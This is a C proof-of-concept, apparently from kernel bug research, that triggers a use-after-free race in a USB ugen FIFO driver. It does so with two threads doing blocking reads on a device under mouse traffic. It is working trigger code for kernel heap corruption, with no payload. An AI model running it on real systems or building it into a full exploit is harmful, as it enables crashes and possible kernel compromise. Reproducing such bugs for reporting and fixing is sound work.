DF-5287 / df5287b.c
/* * DF-5287 variant B -- same double-setup race as df5287.c, but with * BLOCKING reads and live traffic so that the second thread's * usb_fifo_alloc_buffer() -> usb_fifo_free_buffer() (no priv_lock!) * races a live ugen_ctrl_read_callback() -> usb_fifo_put_data() that * is walking f->free_q / writing into the mbuf storage that * free_buffer() kfree()s => use-after-free (write into freed heap). * * Needs mouse traffic: run with QEMU monitor feeding * input-send-event ... * or move the cursor. ums.ko must be detached so the ugen fifo * receives the interrupt data. */ #include <sys/types.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #ifndef DEV #define DEV "/dev/usb/0.2.1" #endif static int fd; static int eio_seen; static pthread_barrier_t bar; static void * reader(void *arg) { char buf[64]; int i; pthread_barrier_wait(&bar); for (i = 0; i < 64; i++) { ssize_t n = read(fd, buf, sizeof(buf)); if (n < 0 && errno == EIO) { eio_seen = 1; break; } } return (NULL); } int main(int argc, char **argv) { pthread_t a, b; int i, iter = (argc > 1) ? atoi(argv[1]) : 400; for (i = 0; i < iter; i++) { fd = open(DEV, O_RDONLY); if (fd < 0) err(1, "open (iter %d)", i); pthread_barrier_init(&bar, NULL, 2); if (pthread_create(&a, NULL, reader, NULL) || pthread_create(&b, NULL, reader, NULL)) err(1, "pthread_create"); pthread_join(a, NULL); pthread_join(b, NULL); pthread_barrier_destroy(&bar); close(fd); if (eio_seen) { printf("EIO after %d iterations\n", i); return (2); } if ((i % 50) == 0) { printf("iter %d\n", i); fflush(stdout); } } printf("done %d iterations\n", iter); return (0); } |